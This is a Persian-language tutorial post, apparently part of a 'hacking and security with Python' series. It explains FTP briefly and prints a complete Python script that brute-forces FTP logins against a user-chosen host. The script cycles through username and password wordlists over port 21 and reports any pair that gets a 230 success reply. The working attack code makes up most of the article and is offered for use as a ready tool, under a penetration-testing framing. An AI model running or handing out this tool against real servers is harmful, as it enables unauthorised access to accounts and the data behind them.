امنیتپایتونتست نفوذ

هک و امنیت با پایتون جلسه سیزدهم – ساخت ابزار FTP BruteForce

هک و امنیت با پایتون ساخت ابزار FTP BruteForce

هک و امنیت با پایتون ساخت ابزار FTP BruteForce

FTP مخفف File Transfer Protocol میباشد که وظیفه این پروتکل انتقال فایل در شبکه هست. یکی از راه های تست نفوذ این نوع سرویس حملات Bruteforce attack است.

در این اموزش هم با استفاده از زبان برنامه نویسی پایتون ابزاری را طراحی خواهیم کرد که می تواند حملات بروت فورس را به صورت انلاین بر روی سرویس FTP انجام دهد.

#!/usr/bin/python
from socket import *
import re

print """

FTP Brute Force Version 1.0
Coded By Kaliboys.com
"""


host = raw_input("Enter HOST target :")
user = raw_input("Enter userlist : ")
passwd = raw_input("Enter passlist :")

userlist = open(user,"r")
for users in userlist.readlines():
	passlist = open(passwd,"r")
	for passwords in passlist.readlines():
		s = socket(AF_INET,SOCK_STREAM)
		s.connect_ex((host,21))
		s.recv(1024)
		s.send('USER %s\r\n'%(users))
		res = s.recv(1024)
		s.send('PASS %s\r\n'%(passwords))
		res = s.recv(1024)
		if re.search('230',res):
			print "[+] find password ",passwords
		else:
			print "[!] try test","user",users,"psss",passwords
			print "---------------------------------------------"

مشاهده ویدیو آموزشی مربوط به ساخت ابزارFTP BruteForce

یوسف وفایی

فارغ التحصیل کارشناسی IT، علاقه مند به برنامه نویسی و علم امنیت، عاشق یادگیری حرفه های جدید، کنجکاو برای همه چیز، همچنین همیشه تلاش میکنم تا به هدفم برسم...

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا